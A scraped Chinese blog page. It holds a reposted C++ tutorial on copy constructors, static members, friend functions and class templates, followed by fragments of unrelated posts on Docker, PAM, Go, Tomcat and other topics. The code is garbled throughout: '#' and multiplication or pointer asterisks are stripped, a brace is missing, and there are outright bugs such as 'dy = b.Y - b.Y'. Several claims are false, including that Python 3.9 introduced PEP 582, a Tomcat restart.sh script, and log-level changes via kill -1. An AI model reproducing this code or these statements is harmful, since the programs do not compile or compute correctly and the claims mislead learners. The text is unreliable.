std;class Time {public:Time(int, int, int);int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void fun(Time &t) {t.hour = 18;}int main() {Time t1(10, 13, 56);fun(t1);cout << t1.hour << endl;return 0;} //如果用引用形参又不想让函数修改实参,可以使用常引用机制include <iostream>using namespace std;class Time {public:Time(int, int, int);void fun(int &t) {hour = t;t = 18;}int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}int main(int argc, char argc[]) {int x = 15;Time t1(10, 13, 56);t1.fun(x);cout << t1.hour << endl;cout << x << endl;return 0;} 6.const型数据小结 七、对象的动态建立与释放——动态建立对象 C++提供了new和delete运算符,实现动态分配、回收内存。他们也可以用来动态建立对象和释放对象。 格式:new 类名; 功能:在堆里分配内存,建立指定类的一个对象。如果分配成功,将返回动态对象的起始地址(指针);如不成功,返回0.为了保存这个指针,必须事先建立以类名为类型的指针变量。 格式:类名 指针变量名 Box pt;pt=new Box;//如果分配成功,就可以用指针变量pt访问动态对象的数据成员cout<<pt->height;cout<<pt->volume(); 当不再需要使用动态变量时,必须用delete运算符释放内存。 格式:delete 指针变量(存放的是用new运算返回的指针) 八、对象的赋值和复制 1.对象的赋值 (1)含义 如果一个类定义了两个或多个对象,则这些同类对象之间可以相互赋值。这里所指的对象的值含义是对象中所有数据成员的值。对象1、对象2都是已建立好的同类对象。 格式:对象1=对象2; (2)【例3.9】对象的赋值 include <iostream>using namespace std;class Box {public:Box(int = 10, int = 10, int = 10);int volume();private:int height;int width;int length;};Box::Box(int h, int w, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1(15, 30, 25), box2;cout << "box1 体积=" << box1.volume() << endl;box2 = box1;cout << "box2 体积=" << box2.volume() << endl;return 0;} (3)说明 对象的赋值只对数据成员操作 数据成员中不能含有动态分配的数据成员 2.对象的复制 (1)含义 对象赋值的前提是对象1和对象2是已经建立的对象。C++还可以按照一个对象克隆出另一个对象(从无到有),这就是复制对象。复制对象是创建对象的另一种方法(以前学过的是定义对象)。创建对象必须调用构造函数,复制对象要调用复制构造函数。以Box类为例,复制构造函数的形式是: Box::Box(const Box &b){height=b.height;width=b.width;length=b.length;} 复制构造函数只有一个参数,这个参数是本类的对象,且采用引用对象形式。为了防止修改数据,加const限制。构造函数的内容就是将实参对象的数据成员值赋予新对象对应的数据成员,如果程序中未定义复制构造函数,编译系统将提供默认的复制构造函数,复制类中的数据成员。 复制对象有两种格式: 类名 对象2(对象1);按对象1复制对象2 类名 对象2=对象1,对象3=对象1,……按对象1复制对象2、对象3 (2)【例】用复制对象的方法创建Box类的对象(用默认复制构造函数) //include "stdafx.h"include <iostream>using namespace std;class Box {public:Box(int = 10, int = 10, int = 10);int volume();private:int height;int width;int length;};Box::Box(int h, int w, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1(15, 30, 25);cout << "box1 体积=" << box1.volume() << endl;//Box box2=box1,box3=box2;Box box2(box1), box3(box2);cout << "box2 体积=" << box2.volume() << endl;cout << "box3 体积=" << box3.volume() << endl;return 0;} (3)说明 在以下情况调用复制构造函数: 在程序里用复制对象格式创建对象 当函数的参数是对象。调用函数时,需要将实参对象复制给形参对象,在此系统将调用复制构造函数 void fun(Box b){...}int main(){Box box1(12,15,18);fun(box1);return 0;} 在函数返回值是类的对象时,需要将函数里的对象复制一个临时对象当作函数值返回 Box f(){Box box1(12,15,18);return box1;}int main(){Box box2;box2=f();} 九、静态成员 C++用const保护数据对象不被修改,在实际中还需要共享数据,C++怎样提供数据共享机制?C++静态成员、友元实现对象之间、类之间的数据共享。 1.静态数据成员 (1)定义格式 static 类型 数据成员名 class Box{public:Box(int=10,int=10,int=10);int volume();private:static int height;int width;int length;}; (2)特性 设Box有n个对象box1..boxn。这n个对象的height成员在内存中共享一个整型数据空间。如果某个对象修改了height成员的值,其他n-1个对象的height成员值也被改变,从而达到n个对象共享height成员值的目的。 (3)说明 由于一个类的所有对象共享静态数据成员,所以不能用构造函数为静态数据成员初始化,只能在类外专门对其初始化。如果程序未对静态数据成员赋初值,则编译系统自动用0为它赋初值 格式:数据类型 类名::静态数据成员名=初值; 即可已用对象名引用静态成员,也可以用类名引用静态成员 静态数据成员在对象外单独开辟内存空间,只要在类中定义了静态成员,即使不定义对象,系统也为静态成员分配内存空间,可以被引用 在程序开始时为静态成员分配内存空间,直到程序结束才释放内存空间 静态数据成员作用域是它的类的作用域(如果在一个函数内定义类,他的静态数据成员作用域就是这个函数)在此范围内可以用“类名::静态成员名”的形式访问静态数据成员 (4)【例3.10】引用静态数据成员 include <iostream>using namespace std;class Box {public:Box(int, int);int volume();static int height;int width;int length;};Box::Box(int w, int len) {width = w;length = len;}int Box::volume() {return (height width length);}int Box::height = 10;int main() {Box a(15, 20), b(25, 30);cout << a.height << endl;cout << b.height << endl;cout << Box::height << endl;cout << a.volume() << endl;cout << b.volume() << endl;return 0;} 2.静态成员函数 (1)含义 C++提供静态成员函数,用它访问静态数据成员,静态成员函数不属于某个对象而属于类。 类中的非静态成员函数可以访问类中所有数据成员;而静态成员函数可以直接访问类的静态成员,不能直接访问非静态成员。 静态成员函数定义格式: static 类型 成员函数(形参表){……} 调用公有静态成员函数格式: 类名::成员函数(实参表) 引用方式 静态数据成员 非静态数据成员 静态成员函数 成员名 对象名.成员名 非静态成员函数 成员名 成员名 【注】静态成员函数不带this指针,所以必须用对象名和成员运算符.访问非静态成员;而普通成员函数有this指针,可以在函数中直接引用成员名。 (2)【例3.11】关于引用非静态成员和静态成员的具体方法 class Student {private:int num;int age;float score;static float sum;static int count;public:Student(int, int, int);void total();static float average();};Student::Student(int m, int a, int s) {num = m;age = a;score = s;}void Student::total() {sum += score;count++;}float Student::average() {return (sum / count);}float Student::sum = 0;int Student::count = 0;int main() {Student stud[3] = {Student(1001, 18, 70), Student(1002, 19, 79), Student(1005, 20, 98)};int n;cout << "请输入学生的人数:";cin >> n;for (int i = 1; i < n; i++)stud[i].total();cout << n << "个学生的平均成绩是:"cout << Student::average() << endl;return 0;} (3)【例】具有静态数据成员的point类 include <iostream>using namespace std;class Point {private:int X, Y;static int countP;public:Point(int xx = 0, int yy = 0) {X = xx;Y = yy;countP++;}Point(Point &p); //复制构造函数int GetX() {return X;}int GetY() {return Y;}int GetC() {cout << "Object id=" << countP << endl;return 0;} };Point::Point(Point &p) {X = p.X;Y = p.Y;countP++;}int Point::countP = 0;int main() {Point A(4, 5);cout << "Point A," << A.GetC() << "," << A.GetY();A.GetC();Point B(A);cout << "Point B," << B.GetC() << "," << B.GetY();B.GetC();return 0;} (4)静态成员函数举例 include <iostream>using namespace std;class application {private:static int global;public:static void f();static void g();};int application::global = 0;void application::f() {global = 5;}void application::g() {cout << global << endl;}int main() {application::f();application::g();return 0;} class A{private:int x; //非静态成员public:static void f(A a);};void A::f(A a){cout<<x; //对x的引用是错误的cout<<a.x; //正确} (5)具有静态数据、函数成员的Point类 include <iostream>using namespace std;class Point { //point类声明private: //私有数据成员int X, Y;static int countP;public: //外部接口Point(int xx = 0, int yy = 0) {X = xx;Y = yy;countP++;}Point(Point &p); //复制构造函数int GetX() {return X;}int GetY() {return Y;}static int GetC() {cout << "Object id=" << countP << endl;return 0;} };Point::Point(Point &p) {X = p.X;Y = p.Y;countP++;}int Point::countP = 0;int main() //主函数实现{ Point A(4, 5); //声明对象Acout << "Point A," << A.GetC() << "," << A.GetY();A.GetC(); //输出对象号,对象名引用Point B(A); //声明对象Bcout << "Point B," << B.GetC() << "," << B.GetY();Point::GetC(); //输出对象号,类名引用return 0;} (6)静态成员函数、静态数组及其初始化 include <iostream>include <stdio.h>using namespace std;class A {static int a[20];int x;public:A(int xx = 0) {x = xx;}static void in();static void out();void show() {cout << "x=" << x << endl;} };int A::a[20] = {0, 0};void A::in() {cout << "input a[20]:" << endl;for (int i = 0; i < 20; ++i)cin >> a[i];}void A::out() {for (int i = 0; i < 20; ++i)cout << "a[" << i << "]=" << a[i] << endl;}int main() {A::in();A::out();A a;a.out();a.show();return 0;} 十、友元 除了在同类对象之间共享数据外,类和类之间也可以共享数据。类的私有成员只能被类的成员函数访问,但是有时需要在类的外部访问类的私有成员,C++通过友元的手段实现这一特殊要求。友元可以是不属于任何类的一般函数,也可以是另一个类的成员函数,还可以是整个的一个类(这个类中的所有成员函数都可以成为友元函数)。 友元是C++提供的一种破坏数据封装和数据隐藏的机制。为了保证数据的完整性及数据封装与隐藏的原则,建议尽量不使用或少使用友元。 1.友元函数 (1)含义 如果在A类外定义一个函数(它可以是另一个类的成员函数,也可以是一个普通函数),在A类中声明该函数是A的友元函数后,这个函数就能访问A类中的所有成员。 (2)格式 friend 类型 类1::成员函数x(类2 &对象); friend 类型 函数y(类2 &对象); //类1是另一个类的类名,类2是本类的类名 功能:第一种形式在类2中声明类1的成员函数x为友元函数。第二种形式在类2中声明一个普通函数y是友元函数。 友元函数内访问对象的格式: 对象名.成员名 因为友元不是成员函数,它不属于类,所以它访问对象时必须冠以对象名。定义友元函数时形参通过定义引用对象,这样在友元函数内就能访问实参对象了。 (3)【例3.12】将普通函数声明为友元函数 include <iostream>using namespace std;class Time {public:Time(int, int, int);friend void display(Time &);private:int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void display(Time &t) {cout << t.hour << ":" << t.minute << ":" << t.sec << endl;}int main() {Time t1(10, 13, 56);display(t1);return 0;} 【例】使用友元函数计算两点距离 include <iostream>include <cmath>using namespace std;class Point {public:Point(int xx = 0, int yy = 0) {X = xx;Y = yy;}int GetX() {return X;}int GetY() {return Y;}friend double Distance(Point &a, Point &b);private:int X, Y;};double Distance(Point &a, Point &b) {double dx = a.X - b.X;double dy = b.Y - b.Y;return sqrt(dx dx + dy dy);}int main() {Point p1(3.0, 5.0), p2(4.0, 6.0);double d = Distance(p1, p2);cout << "The distance is " << d << endl;return 0;} include <iostream>include <math.h>using namespace std;class TPoint {private:double x, y;public:TPoint(double a, double b) {x = a;y = b;cout << "点:(" << x << "," << y << ")" << endl;}friend double distance(TPoint &a, TPoint &b) {return sqrt((a.x - b.x) (a.x - b.x) + (a.y - b.y) (a.y - b.y));} };int main(int argc, char argv[]) {TPoint myp1(2.1, 1.3), myp2(5.4, 6.5);cout << "两点之间的距离为:";cout << distance(myp1, myp2) << endl;return 0;} (4)友元成员函数 【例3.13】将成员函数声明为友元函数 例子中有两个类Time和Date。其中Time类里定义了成员函数void display(Date &),他除了显示时间外还要显示日期,这个日期通过引用形参访问。在Date类中将Time类的display成员函数定义为友元函数,允许display访问Date类的所有私有数据成员。 include <iostream>using namespace std;class Date;class Time {private:int hour;int minute;int sec;public:Time(int, int, int);void display(const Date &);};class Date {private:int month;int day;int year;public:Date(int, int, int);friend void Time::display(const Date &);};Time::Time(int h, int m, int s) hour = h;minute = m;sec = s;}void Time::display(const Date &da) {cout << da.month << "/" << da.day << "/" << da.year << endl;cout << hour << ":" << minute << ":" << sec << endl;}Date::Date(int m, int d, int y) {month = m;day = d;year = y;}int main() {Time t1(10, 13, 56);Date d1(12, 25, 2004);t1.display(d1);return 0;} 【注1】友元是单向的,此例中声明Time的成员函数display是Date类的友元,允许它访问Date类的所有成员,但不等于说Date类的成员函数也是Time类的友元。 【注2】一个函数(包括普通函数和成员函数)可以被多个类声明为“朋友”,这样就可以引用多个类中的私有数据 【注3】例如可以将例3.13程序中的display函数作为类外的普通函数,分别在Time和Date类中将display声明为友元。Display就可以分别引用Time和Date类的对象的私有数据成员。输出年月日和时分秒。 2.友元类 C++允许将一个类声明为另一个类的友元。假定A类是B类的友元类,A类中所有的成员函数都是B类的友元函数,在B类中声明A类为友元类的格式:friend A; 【注1】友元关系是单向的,不是双向的 【注2】友元关系不能传递 【注3】实际中一般不把整个类声明友元类,而只是将确有需要的成员函数声明为友元函数 include <iostream>include <math.h>using namespace std;class B;class A {private:int x;public:A() {x = 3;}friend class B;};class B {public:void disp1(A temp) {temp.x++;cout << "disp1:x" << temp.x << endl;}void disp2(A temp) {temp.x--;cout << "disp2:x" << temp.x << endl;} };int main(int argc, char argv[]) {A a;B b;b.disp1(a);b.disp2(a);return 0;} class Student; //前向声明,类名声明class Teacher{privated:int noOfStudents;Student pList[100];public:void assignGrades(Student &s); //赋成绩void adjustHours(Student &s); //调整学时数};class Student{privated:int hours;float gpa;public:friend class Teacher;};void Teacher::assignGrades(Student &s){...};void Teacher::adjustHours(Student &s){...}; //函数定义必须在Student定义之后 十一、类模板 1.含义 对于功能相同而只是数据类型不同的函数,不必须定义出所有函数,我们定义一个可对任何类型变量操作的函数模板。对于功能相同的类而数据类型不同,不必定义出所有类,只要定义一个可对任何类进行操作的类模板。 例如定义比较两个整数的类和比较两个浮点数的类,这两个类做的工作是相似的,所以可以用类模板,减少工作量。 class Compare_int{private:int x,y;public:Compare_int(int a,int b){x=a;y=b;}int max(){return (x>y)?x:y;}int min(){return (x<y)?x:y;} };class Compare_float{private:float x,y;public:Compare_float(float a,float b){x=a;y=b;}float max(){return (x>y)?x:y;}float min(){return (x<y)?x:y;} }; 2.定义类模板的格式 template <class 类型参数名> class 类模板名 {……} 类型参数名:按标识符取名。如有多个类型参数,每个类型参数都要以class为前导,两个类型参数之间用逗号分隔 类模板名:按标识符取名 类模板{...}内定义数据成员和成员函数的规则:用类型参数作为数据类型,用类模板名作为类 template<class numtype>class Compare{private:numtype x,y;public:Compare(numtype a,numtype b){x=a,y=b;}numtype max(){return (x>y)?x:y;}numtype min(){return (x<y)?x:y;} }; 3.在类模板外定义成员函数的语法 类型参数 类模板名<类型参数>::成员函数名(形参表){……} 例如在类模板外定义max和min成员函数 template<class numtype>class Compare{public:Compare(numtype a,numtype b){x=a,y=b;}numtype max();numtype min();private:numtype x,y;};numtype Compare<numtype>::max(){return(x>y)?x:y;}numtype Compare<numtype>::min(){return(x<y)?x:y;} 4.使用类模板时,定义对象的格式 类模板名 <实际类型名>对象名; 类模板名 <实际类型名>对象名(实参表); 例如:Compare <int>cmp2(4,7) 在编译时, 编译系统用int取代类模板中的类型参数numtype,就把类模板具体化了。这时Compare<int>将相当于Compare_int类。 5.【例3.14】声明类模板,实现两个整数、浮点数和字符的比较,求出大数和小数 include <iostream>using namespace std;template<class numtype>class Compare {private:numtype x, y;public:Compare(numtype a, numtype b) {x = a;y = b;}numtype max() {return (x > y) ? x : y;}numtype min() {return (x < y) ? x : y;} };int main() {Compare<int>cmp1(3, 7);cout << cmp1.max() << "是两个整数中的大数." << endl;cout << cmp1.min() << "是两个整数中的小数." << endl;Compare<float>cmp2(45.78, 93.6);cout << cmp2.max() << "是两个浮点数中的大数." << endl;cout << cmp2.min() << "是两个浮点数中的小数." << endl;Compare<char>cmp3('a', 'A');cout << cmp3.max() << "是两个字符中的大者." << endl;cout << cmp3.min() << "是两个字符中的小者." << endl;return 0;} 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_72318954/article/details/127064376。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-29 12:38:23
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Docker
...和管理Node.js模块及依赖关系。文中所述的“NPM环境”指的是通过Docker创建的一个预配置好的环境,其中已经包含了NPM以及可以执行和管理Node.js项目的相关工具链,为开发者提供了一个独立、一致且易于维护的开发或运行环境。 Dockerfile , Dockerfile是一个文本文件,用于定义如何构建一个Docker镜像。在文章中,用户编写了一个Dockerfile来指定基础镜像(这里是Node.js版本10)、执行命令(如全局安装npm)、设置工作目录、复制项目文件并安装依赖项等步骤,最终生成一个包含了完整NPM环境的自定义Docker镜像。通过Dockerfile,开发者能够以自动化的方式重复构建相同配置的环境,确保了环境的一致性和可移植性。 容器 , 在本文语境下,容器是一种轻量级、可执行的软件打包单元,由Docker创建和管理。容器内包含了运行应用程序所需的所有依赖和服务,与宿主机系统和其他容器之间相互隔离。文中提到的启动mynpm容器就是在运行一个包含了NPM环境的独立实例,这个容器内的环境与宿主机或其他容器互不影响,具有很高的隔离性和资源利用率。
2023-12-05 10:01:06
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逻辑鬼才
Docker
...tc/docker/目录下。此文件用于设置Docker守护进程的启动参数,如本文所述,可以通过修改daemon.json文件来配置registry-mirrors、HTTP代理等全局Docker服务参数。当用户遇到无法下载镜像的问题时,正是在这个文件中找到了并修复了指向错误镜像仓库地址的配置项。
2023-04-18 10:38:27
371
算法侠
Linux
深入理解Python模块导入机制后,我们不难发现其在项目结构设计和优化中的关键作用。近期,随着Python 3.9版本的发布,引入了PEP 582提案("Path-based module import"),进一步丰富和完善了Python的模块导入系统。该提案允许直接从文件系统路径中导入模块,简化了大型项目的模块管理,特别是对于那些需要灵活处理模块层次和依赖关系的复杂项目来说,具有显著的优势。 此外,在实际开发中,尤其是在企业级应用或开源项目中,虚拟环境(如venv或conda)与包管理工具(pip)也对模块导入路径起着至关重要的作用。通过创建独立的虚拟环境并配置requirements.txt或setup.py,开发者能够精确控制各个项目中Python模块的版本和导入路径,有效避免因全局环境下的库冲突导致的问题。 另外,Python社区中有一些成熟的项目组织规范,例如“分层架构”和“微服务化”,它们在模块导入路径的设计上提供了最佳实践指导。例如,遵循“src”布局模式,即将所有的源代码放在一个名为“src”的顶层目录下,这样可以保持项目的整洁,并使得模块导入路径更为明确和易于维护。 总之,无论是在Python的新特性支持、开发工具的运用还是项目架构设计层面,理解和掌握Python模块导入路径的设定及其实时发展动态,都将是每一位Python开发者提升项目管理水平和技术实力的重要一环。
2023-03-09 18:38:16
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时光倒流_t
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...PAM是一种灵活的、模块化的身份验证框架,广泛应用于类Unix系统中,包括Linux。在本文上下文中,PAM用于控制FTP服务(通过vsftpd服务器)对用户进行登录认证的过程。它允许系统管理员根据需求配置不同的认证模块,以实现不同级别的安全策略,如密码验证、账户状态检查等。通过修改/etc/pam.d/vsftpd文件中的PAM规则,可以决定FTP用户如何以及何时能够成功登录。 vsftpd , 全称为Very Secure FTP Daemon,是一款运行在Linux系统上的开源FTP服务器软件。vsftpd以其安全性高和性能优良而著称,在企业环境和个人服务器中广泛应用。文章描述了在使用FileZilla访问vsftpd服务器时出现的登录问题,并深入探讨了通过调整vsftpd相关的PAM配置解决此问题的方法。 /etc/pam.d/vsftpd , 在Linux系统中,/etc/pam.d目录下存放的是各种服务(如ftp、ssh等)使用的PAM配置文件。其中,vsftpd文件专门针对vsftpd FTP服务定义了PAM认证规则。当用户尝试通过FTP连接服务器时,系统会按照该文件中的规则序列执行相应的身份验证操作。本文中提到的错误现象是由于vsftpd的PAM配置不当导致的,通过修正此配置文件中的auth sufficient与account sufficient行,使得FTP服务器能正确引用/etc/vsftpd/loginusers数据库完成用户的身份验证及账户权限检查,从而解决了登录失败的问题。
2024-01-06 14:11:49
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...系统类型、加密内核及模块加载等功能,目前已成为主流Linux发行版的默认引导加载程序。 /etc/rc.d/rc.d 目录 , 在Linux系统中,/etc/rc.d/rc.d目录用于存放启动和关闭脚本,这里的“”代表运行级别。这些目录中的脚本会在系统启动(如rc3.d)或关闭(如rc0.d)时按照字母顺序执行,以实现相应运行级别的服务管理。以\ S\ 或\ K\ 开头的服务项分别表示启动(Start)和停止(Kill)服务,数字后缀决定执行顺序。例如,在/etc/rc.d/rc0.d目录下的服务项通常用于关机过程,而在/etc/rc.d/rc6.d目录下则与重启过程相关,其中的服务项会确保在系统进入相应的运行级前正确关闭或开启所需服务。
2023-10-31 15:45:28
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...响命令查找及不同系统目录的作用后,进一步探讨操作系统层面的权限管理和程序部署策略具有实际意义。近日,随着容器化和微服务架构的普及,对系统资源访问控制的要求更为严格,而环境变量如PATH在Docker容器或Kubernetes Pod等环境下同样扮演着关键角色。 例如,在Dockerfile中,通过ENV指令可以自定义容器内部的PATH环境变量,以确保容器启动时能够正确找到并执行所需的命令或脚本。同时,为了遵循最小权限原则,开发者通常会将用户自定义软件安装在非系统默认路径(如/opt),并通过修改PATH或创建符号链接的方式让系统识别这些新增的命令。 此外,对于企业级软件部署,尤其在大规模集群环境中,利用工具如Ansible、Puppet或Chef进行配置管理时, PATH环境变量的设置往往是自动化运维脚本中的重要一环,用于确保所有节点上命令的一致性和可执行性。 深入历史长河,Unix/Linux系统的目录结构设计历经数十年的发展与沉淀,反映了其对系统安全、模块化和易维护性的重视。每个目录都有其特定用途,如/sbin存放的是系统启动和修复时所必需的二进制文件,/usr/bin则为大多数标准用户命令提供存储空间,而/usr/local/bin则是留给管理员安装本地编译应用的地方。这种清晰的层次划分与PATH环境变量结合,共同构建出一个既灵活又有序的操作系统命令执行框架。 综上所述,无论是在日常的Linux使用还是现代云计算基础设施的运维实践中,理解和合理配置PATH环境变量都显得尤为重要。它不仅有助于我们高效地运行各类命令和应用程序,还深刻影响着系统的安全性、稳定性和扩展性。
2023-02-05 18:58:56
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...夹tmp用于安装文件存放,其实就是把需要的库文件拷贝到tmp文件夹 2.编译源代码 注意:编译canfestival需要python2环境,编译前确认。终端输入查看版本:python --version 如果不是python2,请点击链接查看python2的环境配置 Ubuntu上python2和python3安装配置_凉拌卷心菜的博客-CSDN博客 打开终端输入 ./configure --cc=arm-linux-gnueabihf-gcc --arch=arm --os=unix --kerneldir=/home/lkdbb61/MineHarmony/linux-fslc-5.10-2.1.x-imx/kernel --prefix=$PWD/tmp --target=unix --can=socket --timers=unix --debug=WAR,MSG--cc:配置开发板交叉编译器--arch:开发板架构--os:使用系统--kerneldir:使用的内核实际目录--prefix:在源码首页创建一个安装文件夹--can:Linux下使用的是socket--timers:定时器也是Linux自带的--debug:返回执行信息 执行结果如下: 继续执行 make clean清除遗留的编译信息 继续执行make all(确保当前python环境是python2) 执行make install 将需要的文件拷贝至tmp文件夹中,进入tmp文件夹查看,这就是编译好所需要的 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_44848795/article/details/131277804。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-12 16:38:10
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ReactJS
...的数据结构,如菜单、目录等。在这种情况下,咱们完全可以利用React的那个render方法,再加上递归这个小技巧,来一步步“爬”遍整个组件树。然后呢,针对每个节点的不同状态和属性,咱们就可以灵活地、动态地生成对应的DOM元素啦,就像变魔术一样! jsx // A component that represents a tree node. function TreeNode({ label, children }) { return ( {label} {children && ( {children.map(child => ( ))} )} ); } // A function that generates a tree from an array of nodes. function generateTree(nodes) { return nodes.reduce((acc, node) => { acc[node.id] = { ...node, children: generateTree(node.children || []) }; return acc; }, {}); } // An example tree with three levels. const treeData = generateTree([ { id: 1, label: "Root", children: [ { id: 2, label: "Level 1", children: [ { id: 3, label: "Level 2", children: [{ id: 4, label: "Leaf" }], }, ], }, ], }, ]); // Render the tree using recursion. function renderTree(treeData) { return Object.keys(treeData).map(id => { const node = treeData[id]; return ( key={id} label={node.label} children={node.children && renderTree(node.children)} /> ); }); } ReactDOM.render( {renderTree(treeData)} , document.getElementById("root")); 在上面的例子中,TreeNode组件表示树的一个节点,generateTree函数用于生成树的结构,renderTree函数则使用递归的方式遍历整个树,并根据每个节点的状态和属性动态生成DOM元素。 以上就是我在使用ReactJS过程中的一些心得和体会。希望这些内容能对你有所帮助。
2023-05-09 23:53:32
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断桥残雪-t
Golang
...ang的世界里,一个目录其实就像是一个包裹,这个包裹就是我们所说的包。想象一下,你把所有源文件都塞进了一个文件夹,嘿,这个文件夹就自然而然地变成了一个包,所有的源文件都被和谐地整合到一块儿了。一个包可以包含多个子包,每个子包又可以包含更多的源文件。 在Golang中,我们可以通过import关键字引入一个包,然后使用该包提供的函数、类型、常量等进行编程。例如,我们可以在代码中使用os/exec.Execute()函数来执行命令: python package main import ( "fmt" "os/exec" ) func main() { cmd := exec.Command("/bin/bash", "-c", "echo Hello, World!") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("Error: %s\n", err) return } fmt.Println(string(out)) } 在这个例子中,我们首先引入了os/exec包,然后使用exec.Command()函数创建一个新的进程,然后获取其输出结果。 包和库的区别 尽管包和库都是Golang中的重要特性,但它们之间还是有一些区别的。说白了,包在Golang的世界里,就像是咱们整理代码的一个小能手。它能把多个源文件都归置到一块儿,还自带一个专属的命名空间,让每个包里的代码各司其职、互不干扰,就像每家每户都有自己的门牌号一样。而库是一组已经编写好的功能,可以帮助开发者更快更方便地完成特定的任务。 此外,包也可以被其他包导入,从而形成更大的程序结构。而通常呢,库和库之间是不能随意互相“串门”的,为啥呢?就因为这些库里面可能藏着一些全局变量或是函数,这些小家伙一旦乱跑乱窜,就有很大几率引发冲突,大家伙儿就都过不好日子了。 总的来说,包和库都是非常有用的工具,它们可以帮助开发者更好地组织代码和提高编程效率。我们需要根据项目的实际需要选择合适的工具,并合理地利用它们。
2023-01-22 13:27:31
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时光倒流-t
Struts2
...tion、结果页面、全局常量等核心组件,实现请求与响应的映射、业务逻辑处理和页面跳转等功能。 DTD (Document Type Definition) , DTD是一种XML文档结构的标准定义方式,在本文中提到的“DOCTYPE Struts Configuration 2.3”即指Struts2.3版本的配置文件DTD定义。这个声明帮助XML解析器理解并验证struts.xml文件的语法和结构是否符合Struts2框架的要求,确保配置文件的有效性与合法性。 OGNL (Object-Graph Navigation Language) , OGNL是一种强大的表达式语言,被广泛应用于Struts2框架中进行数据绑定和访问对象属性。在Struts2中,OGNL允许开发者在Action、JSP页面和其他组件之间灵活地传递和操作数据,如从Action中提取属性值到JSP页面展现,或者动态地根据请求参数执行相应逻辑。在更高版本的Struts2中,支持了OGNL 3.0,增强了类型转换、表达式计算和安全性等方面的功能。 Convention over Configuration (约定优于配置) , 这是一种软件设计范式,强调通过遵循一定的命名约定和项目组织结构,减少开发人员编写大量配置的工作量。在Struts2框架中,通过引入注解等方式,使得一些常见的配置可以通过默认约定自动完成,从而提高开发效率和代码可读性。例如,当遵循特定的目录结构时,Struts2可以自动识别并映射Action类到相应的URL请求上,而无需手动在struts.xml中逐一配置。
2023-11-11 14:08:13
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月影清风-t
Tomcat
...Tomcat的bin目录,这里存放着启动和关闭服务所需的脚本文件。 1.1 启动Tomcat服务 bash cd /path/to/tomcat/bin ./startup.sh 在这段代码中,“/path/to/tomcat”应替换为你的Tomcat实际安装路径。运行startup.sh(Linux或Mac)或startup.bat(Windows)脚本后,Tomcat服务将会启动。瞧见没,“INFO: Server startup in [time] ms”这句话蹦出来的时候,就表示你的服务器已经欢快地启动完成啦,就像你打开开关,电器瞬间亮起来那样顺利。 1.2 停止Tomcat服务 当需要关闭Tomcat时,执行以下命令: bash ./shutdown.sh 同样,在Windows环境下则是运行shutdown.bat。当你看到屏幕上蹦出个“INFO: Server shutdown complete.”,那就意味着你的Tomcat服务已经乖乖地停止运行啦。 2. 查看Tomcat状态 你可能会好奇当前Tomcat服务是否正在运行,这时可以借助version.sh或version.bat脚本来查看。 bash ./version.sh 执行上述命令后,会输出Tomcat版本信息以及当前运行状态等详细内容,帮助我们判断服务是否正常运行。 3. 重启Tomcat服务 有时候,我们可能需要对配置进行调整后重启服务,这可以通过先停止再启动的方式来实现,但更便捷的方式是直接使用restart.sh(Linux或Mac)或restart.bat(Windows): bash ./restart.sh 此命令会自动完成服务的优雅停机和重新启动过程。 4. 更深层次的管理操作 除了基本的启动、停止和重启外,我们还可以通过命令行对Tomcat进行更细致的管理,例如修改JVM参数、调整日志级别等。 4.1 调整JVM参数 在catalina.sh或catalina.bat脚本中,你可以设置Java虚拟机的参数,比如调整内存大小: bash export JAVA_OPTS="-Xms512m -Xmx1024m" ./startup.sh 这段代码将JVM初始堆内存设置为512MB,最大堆内存设置为1024MB。 4.2 调整日志级别 在运行时,我们可以通过发送HUP信号给Tomcat来动态更改日志级别,无需重启服务。假设我们要将org.apache.catalina.core包的日志级别调整为DEBUG: bash kill -1 pgrep java 然后编辑${CATALINA_BASE}/conf/logging.properties文件,调整日志级别,改动立即生效。 注意: 这里的pgrep java用于获取Java进程ID,实际情况请根据你的环境做出相应调整。 总的来说,掌握Tomcat命令行管理技巧能够让我们在部署、调试和运维过程中更加得心应手。希望通过这篇文章的详细介绍,你能更好地驾驭这只"猫",让它在你的开发之旅中发挥出最大的效能。在实际操作的过程中,千万记得要多动手尝试、多动脑思考!毕竟,只有把理论知识和实践经验紧密结合,咱们的技术之路才能越走越宽广,越走越长远。
2023-02-24 10:38:51
317
月下独酌
Go Iris
...1,Go会自动将源码存放在用户主目录下的go文件夹中 - (2)设置GOPROXY(可选):在国内网络环境下,为了加速依赖包的下载,通常建议设置GOPROXY代理。 bash export GOPROXY=https://goproxy.cn,direct 2. 安装Iris 当准备工作完成后,即可开始安装Iris。在终端输入以下命令进行安装: bash go get -u github.com/kataras/iris/v12@latest 问题1:安装失败或超时 有时,由于网络状况或其他原因,你可能会遇到安装超时或者失败的情况。这时候,请尝试以下解决办法: - (3)检查网络连接:确保网络通畅,如需可更换稳定的网络环境。 - (4)重新安装并清除缓存:有时候,Go的模块缓存可能导致问题,可以先清理缓存再尝试安装。 bash go clean -modcache go get -u github.com/kataras/iris/v12@latest 3. 使用Iris创建项目 安装完成后,让我们通过一段简单的代码实例来验证Iris是否正常工作: go package main import ( "github.com/kataras/iris/v12" ) func main() { app := iris.New() // 设置默认路由 app.Get("/", func(ctx iris.Context) { ctx.HTML(" Welcome to Iris! ") }) // 启动服务器监听8080端口 app.Listen(":8080") } 问题2:运行程序时报错找不到Iris包 